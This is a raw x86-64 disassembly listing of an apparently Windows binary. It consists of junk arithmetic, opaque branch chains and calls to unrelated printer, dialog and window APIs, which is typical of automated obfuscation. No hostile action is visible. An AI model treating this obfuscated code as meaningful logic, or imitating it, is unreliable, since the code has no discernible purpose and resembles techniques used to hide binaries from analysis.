mov dword [rsp + 0x3444], 0x81f4
movzx eax, byte [rsp + 0x158]
mov byte [rsp + 0x3448], al
cmp byte [rsp + 0x3448], 0x29
je 0x140004308
cmp byte [rsp + 0x3448], 0x65
je 0x1400043e5
jmp 0x140004411
movzx eax, byte [rsp + 0x158]
mov byte [rsp + 0x344c], al
cmp byte [rsp + 0x344c], 0x29
je 0x140004326
jmp 0x1400043ce
movzx eax, word [rsp + 0xd88]
add eax, 0x14d
mov word [rsp + 0xd88], ax
mov dword [rsp + 0x3450], 0x57ca
mov dword [rsp + 0x3454], 0x104fa
movzx eax, byte [section..data]
mov byte [rsp + 0x3458], al
cmp byte [rsp + 0x3458], 0x13
je 0x14000438c
cmp byte [rsp + 0x3458], 0xfa
je 0x140004375
jmp 0x14000439c
lea rcx, [rsp + 0x1a4a0]
call qword [sym.imp.COMDLG32.dll_ChooseColorW]
mov dword [rsp + 0x345c], eax
jmp 0x14000439c
movzx eax, byte [section..data]
and eax, 0x59
mov byte [section..data], al
movzx eax, byte [rsp + 0x158]
mov byte [rsp + 0x159], al
mov dword [rsp + 0x3460], 0xf121
mov dword [rsp + 0x3464], 0xa373
mov dword [rsp + 0x3468], 0x2446fe3d
jmp 0x1400043e3
lea rcx, [rsp + 0x1ac40]
call qword [sym.imp.COMDLG32.dll_PrintDlgExW]
mov dword [rsp + 0x346c], eax
jmp 0x140004411
movsx eax, byte [rsp + 0x158]
xor eax, 0x16
mov byte [rsp + 0x159], al
mov r8d, dword [rsp + 0x3468]
movzx edx, byte [rsp + 0x158]
mov cx, 0x41
call fcn.14012dd80
nop
cmp dword [rsp + 0x3444], 0x9294
jae 0x14000473b
movzx eax, byte [section..data]
sar eax, 3
mov byte [section..data], al
mov eax, dword [rsp + 0x3468]
or eax, 0x1228c3b3
mov dword [rsp + 0x3468], eax
mov eax, dword [rsp + 0x3468]
shl eax, 8
mov dword [rsp + 0x3468], eax
movsx eax, byte [rsp + 0x158]
sub eax, 0x57
mov byte [rsp + 0x159], al
movzx eax, word [rsp + 0xd88]
add eax, 0xb4a
mov word [rsp + 0xd88], ax
movsx eax, byte [rsp + 0x159]
and eax, 0x2e
mov byte [rsp + 0x158], al
mov eax, dword [rsp + 0x3468]
add eax, 0x24b07b41
mov dword [rsp + 0x3468], eax
movzx eax, byte [section..data]
sub eax, 0x7c
mov byte [section..data], al
movsx eax, byte [rsp + 0x159]
add eax, 0x24
mov byte [rsp + 0x158], al
movzx eax, word [rsp + 0xd88]
sub eax, 0xda5
mov word [rsp + 0xd88], ax
movzx eax, word [rsp + 0xd88]
xor eax, 0x53a
mov word [rsp + 0xd88], ax
movsx eax, byte [rsp + 0x159]
sar eax, 2
mov byte [rsp + 0x158], al
movsx eax, byte [rsp + 0x159]
shl eax, 2
mov byte [rsp + 0x158], al
movsx eax, byte [rsp + 0x159]
or eax, 0x34
mov byte [rsp + 0x158], al
movzx eax, word [rsp + 0xd88]
and eax, 0x43d
mov word [rsp + 0xd88], ax
movzx eax, word [rsp + 0xd88]
add eax, 0x8e6
mov word [rsp + 0xd88], ax
mov eax, dword [rsp + 0x3468]
sub eax, 0x78c18ee
mov dword [rsp + 0x3468], eax
movzx eax, byte [section..data]
add eax, 0x6a
mov byte [section..data], al
movzx eax, word [rsp + 0xd88]
sub eax, 0x28c
mov word [rsp + 0xd88], ax
movsx eax, byte [rsp + 0x158]
and eax, 0x62
mov byte [rsp + 0x159], al
movsx eax, byte [rsp + 0x159]
add eax, 0x3f
mov byte [rsp + 0x158], al
mov eax, dword [rsp + 0x3468]
sub eax, 0x35d6e8f
mov dword [rsp + 0x3468], eax
mov eax, dword [rsp + 0x3468]
add eax, 0x22bd559
mov dword [rsp + 0x3468], eax
movzx eax, byte [section..data]
sub eax, 0x46
mov byte [section..data], al
movzx eax, word [rsp + 0xd88]
xor eax, 0xef2
mov word [rsp + 0xd88], ax
mov eax, dword [rsp + 0x3444]
add eax, 0x98
mov dword [rsp + 0x3444], eax
mov eax, dword [rsp + 0x3468]
sar eax, 0x1e
mov dword [rsp + 0x3468], eax
mov eax, dword [rsp + 0x3468]
shl eax, 0xb
mov dword [rsp + 0x3468], eax
movsx eax, byte [rsp + 0x159]
or eax, 0x55
mov byte [rsp + 0x158], al
movsx eax, byte [rsp + 0x159]
and eax, 7
mov byte [rsp + 0x158], al
movsx eax, byte [rsp + 0x159]
sub eax, 0x2a
mov byte [rsp + 0x158], al
movzx eax, word [rsp + 0xd88]
add eax, 0x437
mov word [rsp + 0xd88], ax
movzx eax, word [rsp + 0xd88]
add eax, 0xaad
mov word [rsp + 0xd88], ax
mov eax, dword [rsp + 0x3468]
sub eax, 0x1b3dd6e0
mov dword [rsp + 0x3468], eax
movzx eax, byte [section..data]
add eax, 0x61
mov byte [section..data], al
movzx eax, word [rsp + 0xd88]
and eax, 0x75b
mov word [rsp + 0xd88], ax
movzx eax, word [rsp + 0xd88]
sub eax, 0x9a4
mov word [rsp + 0xd88], ax
movzx eax, word [rsp + 0xd88]
sub eax, 0x87d
mov word [rsp + 0xd88], ax
movsx eax, byte [rsp + 0x158]
add eax, 0x11
mov byte [rsp + 0x159], al
movzx eax, word [rsp + 0xd88]
or eax, 0xb96
mov word [rsp + 0xd88], ax
movzx eax, byte [section..data]
sar eax, 7
mov byte [section..data], al
mov eax, dword [rsp + 0x3468]
xor eax, 0x547f72f4
mov dword [rsp + 0x3468], eax
jmp 0x140004411
movzx eax, word [rsp + 0xd88]
mov word [rsp + 0xe0c], ax
movzx eax, word [rsp + 0xe0c]
mov dword [rsp + 0x3470], eax
cmp dword [rsp + 0x3470], 0xe96
je 0x14012c974
cmp dword [rsp + 0x3470], 0xfbb6
je 0x14000477d
jmp 0x14012c9da
movzx eax, word [rsp + 0xe0c]
mov dword [rsp + 0x3474], eax
cmp dword [rsp + 0x3474], 0x2b7
je 0x140004823
cmp dword [rsp + 0x3474], 0xfbb6
je 0x1400047af
jmp 0x14000489a
movabs rax, 0x5c8efe50d937c073
mov qword [rsp + 0x6050], rax
mov dword [rsp + 0x3478], 0x4929
lea rax, [rsp + 0x3468]
mov qword [rsp + 0x6058], rax
mov dword [rsp + 0x347c], 0x96b8
mov eax, 0x5b7f
mov word [rsp + 0xe10], ax
movzx eax, word [rsp + 0xe0c]
mov word [rsp + 0xe14], ax
movzx eax, byte [section..data]
mov byte [rsp + 0x15a], al
movzx eax, byte [rsp + 0x159]
mov byte [rsp + 0x15b], al
jmp 0x14000489a
movzx eax, byte [section..data]
sub eax, 0xb
mov byte [rsp + 0x15a], al
mov eax, dword [rsp + 0x3468]
mov dword [rsp + 0x3480], eax
cmp dword [rsp + 0x3480], 0x2d5d74c8
je 0x14000485e
cmp dword [rsp + 0x3480], 0x3677e889
je 0x140004884
jmp 0x14000489a
mov eax, dword [rsp + 0x3468]
add eax, 0x9d7a554
mov rcx, qword [rsp + 0x6058]
mov dword [rcx], eax
mov rcx, qword [rsp + 0x6050]
call fcn.14012e8b0
nop
jmp 0x14000489a
mov rax, qword [rsp + 0x6058]
mov eax, dword [rax]
sub eax, 0x4538d6ae
mov dword [rsp + 0x3468], eax
mov dword [rsp + 0x3484], 0xea80
cmp dword [rsp + 0x347c], 0x53e0
jb 0x140004ad2
movzx eax, byte [rsp + 0x15a]
add eax, 0x65
mov byte [section..data], al
mov rax, qword [rsp + 0x6058]
mov ecx, dword [rsp + 0x3468]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x6058]
mov dword [rcx], eax
movsx eax, word [rsp + 0xe10]
sub eax, 0x3dbd
mov word [rsp + 0xe10], ax
movzx eax, word [rsp + 0xe0c]
movzx ecx, word [rsp + 0xd88]
and eax, ecx
mov word [rsp + 0xe14], ax
mov rax, qword [rsp + 0x6058]
mov ecx, dword [rsp + 0x3468]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x6058]
mov dword [rcx], eax
mov eax, dword [rsp + 0x3468]
sar eax, 0x12
mov rcx, qword [rsp + 0x6058]
mov dword [rcx], eax
movsx eax, word [rsp + 0xe10]
shl eax, 7
mov word [rsp + 0xe10], ax
mov eax, dword [rsp + 0x3468]
xor eax, 0x5ae38561
mov rcx, qword [rsp + 0x6058]
mov dword [rcx], eax
mov rax, qword [rsp + 0x6058]
mov eax, dword [rax]
or eax, 0x7031a535
mov dword [rsp + 0x3468], eax
mov eax, dword [rsp + 0x3468]
add eax, 0x71ed7a1
mov rcx, qword [rsp + 0x6058]
mov dword [rcx], eax
movabs rax, 0x6712ac9b53220acd
mov rcx, qword [rsp + 0x6050]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0x6050], rax
movsx eax, byte [rsp + 0x15b]
movsx ecx, byte [rsp + 0x159]
sub eax, ecx
mov byte [rsp + 0x158], al
mov eax, dword [rsp + 0x3468]
add eax, 0x57b917b4
mov rcx, qword [rsp + 0x6058]
mov dword [rcx], eax
mov eax, dword [rsp + 0x347c]
sub eax, 0xb8
mov dword [rsp + 0x347c], eax
mov rax, qword [rsp + 0x6058]
mov ecx, dword [rsp + 0x3468]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x6058]
mov dword [rcx], eax
mov rax, qword [rsp + 0x6058]
mov ecx, dword [rsp + 0x3468]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x6058]
mov dword [rcx], eax
movsx eax, byte [rsp + 0x158]
movsx ecx, byte [rsp + 0x159]
sub eax, ecx
mov byte [rsp + 0x15b], al
mov eax, dword [rsp + 0x3468]
add eax, 0x57ec634a
mov rcx, qword [rsp + 0x6058]
mov dword [rcx], eax
mov eax, dword [rsp + 0x3468]
add eax, 0x7d17a96a
mov rcx, qword [rsp + 0x6058]
mov dword [rcx], eax
mov rax, qword [rsp + 0x6058]
mov ecx, dword [rsp + 0x3468]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0x6058]
mov dword [rcx], eax
mov rax, qword [rsp + 0x6058]
mov ecx, dword [rsp + 0x3468]
mov eax, dword [rax]
xor eax, ecx
mov rcx, qword [rsp + 0x6058]
mov dword [rcx], eax
movsx eax, byte [rsp + 0x159]
movsx ecx, byte [rsp + 0x158]
shl eax, cl
mov byte [rsp + 0x15b], al
jmp 0x1400048a5
lea rax, [rsp + 0xe10]
mov qword [rsp + 0x6060], rax
mov dword [rsp + 0x3488], 0x3365
movzx eax, byte [rsp + 0x15a]
sar eax, 0xb6
movzx ecx, byte [section..data]
cmp eax, ecx
jg 0x140004be8
lea rax, [rsp + 0xe14]
mov qword [rsp + 0x6068], rax
mov rax, qword [rsp + 0x6060]
movsx eax, word [rax]
sub eax, 0x267c
movsx ecx, word [rsp + 0xe10]
cmp eax, ecx
jne 0x140004be6
mov rax, qword [rsp + 0x6068]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xe0c]
add eax, ecx
mov rcx, qword [rsp + 0x6068]
mov word [rcx], ax
lea r9, [rsp + 0xe14]
mov r8d, 0x5d
lea rdx, [rsp + 0x3468]
mov rcx, qword [rsp + 0x6070]
call sub.WINSPOOL.DRV_WritePrinter
mov dword [rsp + 0x345c], eax
mov rax, qword [rsp + 0x6060]
movsx eax, word [rax]
and eax, 0x1173
mov word [rsp + 0xe10], ax
lea rcx, [rsp + 0x1a860]
call qword [sym.imp.USER32.dll_GetKeyboardLayoutNameW]
mov dword [rsp + 0x345c], eax
movsx eax, word [rsp + 0xe10]
sub eax, 0x7d88
mov rcx, qword [rsp + 0x6060]
mov word [rcx], ax
movabs rax, 0x609c2a66000e460e
mov rcx, qword [rsp + 0x6050]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x6050], rax
jmp 0x140004c31
movzx eax, word [rsp + 0xd88]
movzx ecx, word [rsp + 0xe14]
or eax, ecx
movzx ecx, word [rsp + 0xe0c]
cmp eax, ecx
je 0x140004c31
mov edx, 0x50
mov rcx, qword [rsp + 0x6078]
call qword [sym.imp.USER32.dll_GetClassWord]
mov word [rsp + 0xe0c], ax
mov edx, 0xa
mov ecx, 0xd
call fcn.14012d3c0
nop
mov rax, qword [rsp + 0x6058]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x3468]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x3240], eax
mov dword [rsp + 0x348c], 0x422a9565
mov rax, qword [rsp + 0x6068]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xd88]
add eax, ecx
mov rcx, qword [rsp + 0x6068]
mov word [rcx], ax
movzx eax, word [rsp + 0xd88]
movzx ecx, word [rsp + 0xe14]
sub eax, ecx
mov rcx, qword [rsp + 0x6068]
mov word [rcx], ax
movzx eax, word [rsp + 0xd88]
movzx ecx, word [rsp + 0xe14]
sub eax, ecx
mov rcx, qword [rsp + 0x6068]
mov word [rcx], ax
mov rax, qword [rsp + 0x6068]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xe14]
add eax, ecx
mov rcx, qword [rsp + 0x6068]
mov word [rcx], ax
mov rax, qword [rsp + 0x6060]
movsx eax, word [rax]
sub eax, 0x473a
mov word [rsp + 0xe10], ax
movzx eax, word [rsp + 0xe14]
movzx ecx, word [rsp + 0xe0c]
or eax, ecx
mov rcx, qword [rsp + 0x6068]
mov word [rcx], ax
mov eax, dword [rsp + 0x3468]
mov rcx, qword [rsp + 0x6058]
mov qword [rsp + 0x6080], rcx
movzx ecx, al
mov rax, qword [rsp + 0x6080]
mov eax, dword [rax]
sar eax, cl
mov dword [rsp + 0x3240], eax
mov eax, dword [rsp + 0x348c]
xor eax, 0xc737e589
mov dword [rsp + 0x348c], eax
mov eax, dword [rsp + 0x3240]
movzx ecx, al
mov eax, dword [rsp + 0x3468]
shl eax, cl
mov rcx, qword [rsp + 0x6058]
mov dword [rcx], eax
mov rax, qword [rsp + 0x6060]
movsx eax, word [rax]
and eax, 0x6550
mov word [rsp + 0xe10], ax
mov rax, qword [rsp + 0x6068]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xd88]
add eax, ecx
mov word [rsp + 0xe0c], ax
movzx eax, byte [section..data]
add eax, 9
mov byte [rsp + 0x15a], al
movzx eax, word [rsp + 0xe0c]
movzx ecx, word [rsp + 0xe14]
and eax, ecx
mov rcx, qword [rsp + 0x6068]
mov word [rcx], ax
movsx eax, byte [rsp + 0x15b]
movsx ecx, byte [rsp + 0x159]
sub eax, ecx
mov byte [rsp + 0x158], al
mov eax, dword [rsp + 0x3468]
mov ecx, dword [rsp + 0x3240]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x6058]
mov dword [rcx], eax
movsx eax, word [rsp + 0xe10]
sub eax, 0x6aa1
mov rcx, qword [rsp + 0x6060]
mov word [rcx], ax
movabs rax, 0x1379d58a93f47528
mov rcx, qword [rsp + 0x6050]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x6050], rax
mov eax, dword [rsp + 0x348c]
sub eax, 0x7b8b82c7
mov dword [rsp + 0x348c], eax
movzx eax, byte [section..data]
sar eax, 1
mov byte [rsp + 0x15a], al
movsx eax, word [rsp + 0xe10]
or eax, 0x398
mov rcx, qword [rsp + 0x6060]
mov word [rcx], ax
mov rax, qword [rsp + 0x6068]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xd88]
shl eax, cl
mov rcx, qword [rsp + 0x6068]
mov word [rcx], ax
mov rax, qword [rsp + 0x6068]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xe0c]
xor eax, ecx
mov rcx, qword [rsp + 0x6068]
mov word [rcx], ax
mov rax, qword [rsp + 0x6068]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xe14]
and eax, ecx
mov rcx, qword [rsp + 0x6068]
mov word [rcx], ax
movzx eax, byte [rsp + 0x15a]
sub eax, 0xd
mov byte [section..data], al
mov rax, qword [rsp + 0x6058]
mov ecx, dword [rsp + 0x3240]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x6058]
mov dword [rcx], eax
mov eax, dword [rsp + 0x348c]
sub eax, 0x5df5539e
mov dword [rsp + 0x348c], eax
movabs rax, 0x30b68a5bd9782da3
mov rcx, qword [rsp + 0x6050]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x6050], rax
movsx eax, word [rsp + 0xe10]
and eax, 0x70c2
mov rcx, qword [rsp + 0x6060]
mov word [rcx], ax
movsx eax, byte [rsp + 0x158]
movsx ecx, byte [rsp + 0x159]
add eax, ecx
mov byte [rsp + 0x15b], al
mov eax, dword [rsp + 0x3450]
add eax, 0x3f
mov dword [rsp + 0x3450], eax
movzx eax, byte [section..data]
sub eax, 0xcd
mov byte [rsp + 0x15a], al
mov rax, qword [rsp + 0x6060]
movsx eax, word [rax]
add eax, 0x3cd0
mov word [rsp + 0xe10], ax
mov rax, qword [rsp + 0x6068]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xe0c]
sub eax, ecx
mov word [rsp + 0xe14], ax
movzx eax, byte [rsp + 0x15a]
or eax, 0x2d
mov byte [section..data], al
movzx eax, word [rsp + 0xe14]
movzx ecx, word [rsp + 0xd88]
xor eax, ecx
mov word [rsp + 0xe0c], ax
mov rax, qword [rsp + 0x6058]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x3468]
sar eax, cl
mov dword [rsp + 0x3240], eax
mov rax, qword [rsp + 0x6068]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xe14]
shl eax, cl
mov rcx, qword [rsp + 0x6068]
mov word [rcx], ax
mov rax, qword [rsp + 0x6060]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xe10]
and eax, ecx
mov rcx, qword [rsp + 0x6060]
mov word [rcx], ax
movzx eax, word [rsp + 0xd88]
mov rcx, qword [rsp + 0x6068]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0xe14], ax
mov rax, qword [rsp + 0x6060]
movsx eax, word [rax]
sub eax, 0xa15
mov word [rsp + 0xe10], ax
movzx eax, word [rsp + 0xe14]
movzx ecx, word [rsp + 0xd88]
sub eax, ecx
mov rcx, qword [rsp + 0x6068]
mov word [rcx], ax
mov rax, qword [rsp + 0x6068]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xd88]
add eax, ecx
mov rcx, qword [rsp + 0x6068]
mov word [rcx], ax
cmp dword [rsp + 0x3450], 0x5c77
jne 0x140004c58
mov eax, dword [rsp + 0x3240]
mov dword [rsp + 0x3490], eax
cmp dword [rsp + 0x3490], 0x74209df
je 0x1400050e5
jmp 0x14000520a
mov eax, dword [rsp + 0x348c]
mov dword [rsp + 0x3494], eax
cmp dword [rsp + 0x3494], 0x91769776
je 0x140005112
cmp dword [rsp + 0x3494], 0xac42f77c
je 0x140005172
jmp 0x140005205
movzx eax, byte [rsp + 0x15a]
sub eax, 0x41
mov byte [section..data], al
movzx eax, word [rsp + 0xe0c]
movzx ecx, word [rsp + 0xe14]
and eax, ecx
mov rcx, qword [rsp + 0x6068]
mov word [rcx], ax
lea r9, [rsp + 0xe10]
lea r8, [rsp + 0x1a4a0]
lea rdx, [rsp + 0xd88]
mov rcx, qword [rsp + 0x6088]
call qword [sym.imp.USER32.dll_GetLayeredWindowAttributes]
mov dword [rsp + 0x345c], eax
jmp 0x140005205
mov eax, dword [rsp + 0x348c]
mov dword [rsp + 0x3498], eax
cmp dword [rsp + 0x3498], 0xda948274
je 0x14000519c
cmp dword [rsp + 0x3498], 0xfc6a9152
je 0x1400051e3
jmp 0x140005205
mov rax, qword [rsp + 0x6058]
mov ecx, dword [rsp + 0x3240]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x3468], eax
mov rax, qword [rsp + 0x6058]
mov ecx, dword [rsp + 0x3240]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x6058]
mov dword [rcx], eax
mov rcx, qword [rsp + 0x6050]
call fcn.14012e8b0
nop
jmp 0x140005205
mov r8d, 0x59
lea rdx, [fcn.14012d3c0]
mov rcx, qword [rsp + 0x6090]
call qword [sym.imp.USER32.dll_EnumPropsExW]
mov dword [rsp + 0x349c], eax
jmp 0x140005292
movzx eax, byte [rsp + 0x15a]
mov byte [rsp + 0x34a0], al
cmp byte [rsp + 0x34a0], 0x4f
je 0x14000522f
cmp byte [rsp + 0x34a0], 0x5e
je 0x14000525c
jmp 0x14000527c
movzx eax, byte [section..data]
add eax, 0xcd
mov byte [rsp + 0x15a], al
mov rax, qword [rsp + 0x6068]
movzx edx, word [rax]
mov ecx, dword [rsp + 0x348c]
call fcn.14012d9e0
nop
jmp 0x14000527c
mov rax, qword [rsp + 0x6068]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xe14]
shl eax, cl
mov rcx, qword [rsp + 0x6068]
mov word [rcx], ax
mov dword [rsp + 0x34a4], 0x5924
mov dword [rsp + 0x34a8], 0xa3ee
movzx eax, byte [rsp + 0x15a]
mov byte [rsp + 0x15c], al
cmp dword [rsp + 0x3464], 0x829e
jbe 0x140005664
movsx eax, byte [rsp + 0x158]
movsx ecx, byte [rsp + 0x15b]
xor eax, ecx
mov byte [rsp + 0x159], al
movsx eax, word [rsp + 0xe10]
sar eax, 8
mov rcx, qword [rsp + 0x6060]
mov word [rcx], ax
movzx eax, byte [rsp + 0x15c]
movzx ecx, byte [rsp + 0x15a]
or eax, ecx
mov byte [section..data], al
mov eax, dword [rsp + 0x348c]
and eax, 0xf98f5b30
mov dword [rsp + 0x348c], eax
movsx eax, byte [rsp + 0x158]
movsx ecx, byte [rsp + 0x159]
sub eax, ecx
mov byte [rsp + 0x15b], al
movabs rax, 0x69722485d4396bda
mov rcx, qword [rsp + 0x6050]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x6050], rax
mov rax, qword [rsp + 0x6060]
movsx eax, word [rax]
add eax, 0x1974
mov word [rsp + 0xe10], ax
mov rax, qword [rsp + 0x6068]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xe0c]
sub eax, ecx
mov word [rsp + 0xe14], ax
movsx eax, byte [rsp + 0x158]
movsx ecx, byte [rsp + 0x15b]
add eax, ecx
mov byte [rsp + 0x159], al
mov rax, qword [rsp + 0x6060]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xe10]
add eax, ecx
mov rcx, qword [rsp + 0x6060]
mov word [rcx], ax
mov rax, qword [rsp + 0x6068]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xd88]
and eax, ecx
mov word [rsp + 0xe14], ax
movzx eax, byte [rsp + 0x15a]
movzx ecx, byte [rsp + 0x15c]
sub eax, ecx
mov byte [section..data], al
mov rax, qword [rsp + 0x6058]
mov ecx, dword [rsp + 0x349c]
mov eax, dword [rax]
xor eax, ecx
mov dword [rsp + 0x3240], eax
mov eax, dword [rsp + 0x348c]
shl eax, 0x16
mov dword [rsp + 0x348c], eax
movsx eax, word [rsp + 0xe10]
sar eax, 2
mov rcx, qword [rsp + 0x6060]
mov word [rcx], ax
mov eax, dword [rsp + 0x3464]
sub eax, 0xcd
mov dword [rsp + 0x3464], eax
movsx eax, word [rsp + 0xe10]
or eax, 0x4e2
mov rcx, qword [rsp + 0x6060]
mov word [rcx], ax
mov rax, qword [rsp + 0x6060]
movsx eax, word [rax]
sub eax, 0x430d
mov word [rsp + 0xe10], ax
mov rax, qword [rsp + 0x6060]
movsx eax, word [rax]
and eax, 0x1be3
mov word [rsp + 0xe10], ax
movzx eax, byte [section..data]
movzx ecx, byte [rsp + 0x15c]
add eax, ecx
mov byte [rsp + 0x15a], al
movzx eax, word [rsp + 0xd88]
movzx ecx, word [rsp + 0xe0c]
sub eax, ecx
mov rcx, qword [rsp + 0x6068]
mov word [rcx], ax
mov eax, dword [rsp + 0x348c]
add eax, 0x39028f16
mov dword [rsp + 0x348c], eax
movzx eax, byte [rsp + 0x15a]
movzx ecx, byte [rsp + 0x15c]
add eax, ecx
mov byte [section..data], al
movzx eax, word [rsp + 0xe0c]
movzx ecx, word [rsp + 0xe14]
sub eax, ecx
mov rcx, qword [rsp + 0x6068]
mov word [rcx], ax
mov rax, qword [rsp + 0x6058]
mov ecx, dword [rsp + 0x349c]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x6058]
mov dword [rcx], eax
mov rax, qword [rsp + 0x6068]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xe0c]
sub eax, ecx
mov rcx, qword [rsp + 0x6068]
mov word [rcx], ax
movsx eax, byte [rsp + 0x158]
movsx ecx, byte [rsp + 0x15b]
and eax, ecx
mov byte [rsp + 0x159], al
movzx eax, byte [rsp + 0x15c]
movzx ecx, byte [section..data]
sar eax, cl
mov byte [rsp + 0x15a], al
mov rax, qword [rsp + 0x6068]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xd88]
or eax, ecx
mov word [rsp + 0xe0c], ax
mov rax, qword [rsp + 0x6060]
movsx eax, word [rax]
xor eax, 0x451
mov word [rsp + 0xe10], ax
mov eax, dword [rsp + 0x348c]
shl eax, 0x18
mov dword [rsp + 0x348c], eax
mov eax, dword [rsp + 0x3468]
mov ecx, dword [rsp + 0x3240]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x6058]
mov dword [rcx], eax
movabs rax, 0x5b0835c261b904de
mov rcx, qword [rsp + 0x6050]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x6050], rax
mov eax, dword [rsp + 0x3468]
mov ecx, dword [rsp + 0x349c]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x6058]
mov dword [rcx], eax
movsx eax, word [rsp + 0xe10]
sub eax, 0x1235
mov rcx, qword [rsp + 0x6060]
mov word [rcx], ax
mov rax, qword [rsp + 0x6068]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xd88]
add eax, ecx
mov word [rsp + 0xe14], ax
mov rax, qword [rsp + 0x6058]
mov ecx, dword [rsp + 0x3468]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x6058]
mov dword [rcx], eax
jmp 0x1400052a1
lea rax, [rsp + 0x15b]
mov qword [rsp + 0x6098], rax
mov rax, qword [rsp + 0x6050]
mov qword [rsp + 0x60a0], rax
movabs rax, 0xcb323fbb140622ca
cmp qword [rsp + 0x60a0], rax
je 0x140005700
movabs rax, 0x6854e8c360c65bc9
cmp qword [rsp + 0x60a0], rax
je 0x1400056b1
jmp 0x14012c95a
mov rax, qword [rsp + 0x6050]
mov qword [rsp + 0x60a8], rax
movabs rax, 0x6eb139d48d007446
cmp qword [rsp + 0x60a8], rax
je 0x1400056d9
jmp 0x1400056ed
mov rcx, qword [rsp + 0x60b0]
call sub.WINSPOOL.DRV_AbortPrinter
mov dword [rsp + 0x34ac], eax
mov rcx, qword [rsp + 0x6050]
call fcn.14012e8b0
nop
jmp 0x14012c95a
mov rax, qword [rsp + 0x6068]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xe0c]
sub eax, ecx
mov word [rsp + 0xe14], ax
cmp dword [rsp + 0x34a4], 0x622a
jae 0x140005c3a
movzx eax, byte [rsp + 0x15c]
movzx ecx, byte [rsp + 0x15a]
add eax, ecx
mov byte [section..data], al
movsx eax, byte [rsp + 0x159]
movsx ecx, byte [rsp + 0x15b]
sub eax, ecx
mov rcx, qword [rsp + 0x6098]
mov byte [rcx], al
movabs rax, 0xee402dad4e18b12
mov rcx, qword [rsp + 0x6050]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x6050], rax
mov eax, dword [rsp + 0x348c]
xor eax, 0xd361d054
mov dword [rsp + 0x348c], eax
mov rax, qword [rsp + 0x6060]
movsx eax, word [rax]
sar eax, 5
mov word [rsp + 0xe10], ax
movsx eax, byte [rsp + 0x159]
mov rcx, qword [rsp + 0x6098]
movsx ecx, byte [rcx]
shl eax, cl
mov byte [rsp + 0x158], al
movzx eax, byte [rsp + 0x15a]
movzx ecx, byte [section..data]
or eax, ecx
mov byte [rsp + 0x15c], al
mov rax, qword [rsp + 0x6068]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xe14]
and eax, ecx
mov word [rsp + 0xd88], ax
movsx eax, word [rsp + 0xe10]
sub eax, 0x1fa3
mov rcx, qword [rsp + 0x6060]
mov word [rcx], ax
movzx eax, byte [rsp + 0x15a]
movzx ecx, byte [rsp + 0x15c]
sub eax, ecx
mov byte [section..data], al
movabs rax, 0x2e69ada955ca8e60
mov rcx, qword [rsp + 0x6050]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0x6050], rax
mov eax, dword [rsp + 0x349c]
mov ecx, dword [rsp + 0x3240]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x6058]
mov dword [rcx], eax
movabs rax, 0x67f02adcc0327ec8
mov rcx, qword [rsp + 0x6050]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x6050], rax
movsx eax, byte [rsp + 0x159]
movsx ecx, byte [rsp + 0x158]
add eax, ecx
mov rcx, qword [rsp + 0x6098]
mov byte [rcx], al
mov rax, qword [rsp + 0x6098]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x159]
add eax, ecx
mov rcx, qword [rsp + 0x6098]
mov byte [rcx], al
movsx eax, byte [rsp + 0x158]
movsx ecx, byte [rsp + 0x15b]
add eax, ecx
mov rcx, qword [rsp + 0x6098]
mov byte [rcx], al
mov rax, qword [rsp + 0x6060]
movsx eax, word [rax]
sar eax, 0xd
mov word [rsp + 0xe10], ax
movzx eax, byte [rsp + 0x15c]
movzx ecx, byte [section..data]
or eax, ecx
mov byte [rsp + 0x15a], al
mov eax, dword [rsp + 0x349c]
mov ecx, dword [rsp + 0x3468]
xor ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x6058]
mov dword [rcx], eax
movzx eax, word [rsp + 0xd88]
movzx ecx, word [rsp + 0xe0c]
shl eax, cl
mov rcx, qword [rsp + 0x6068]
mov word [rcx], ax
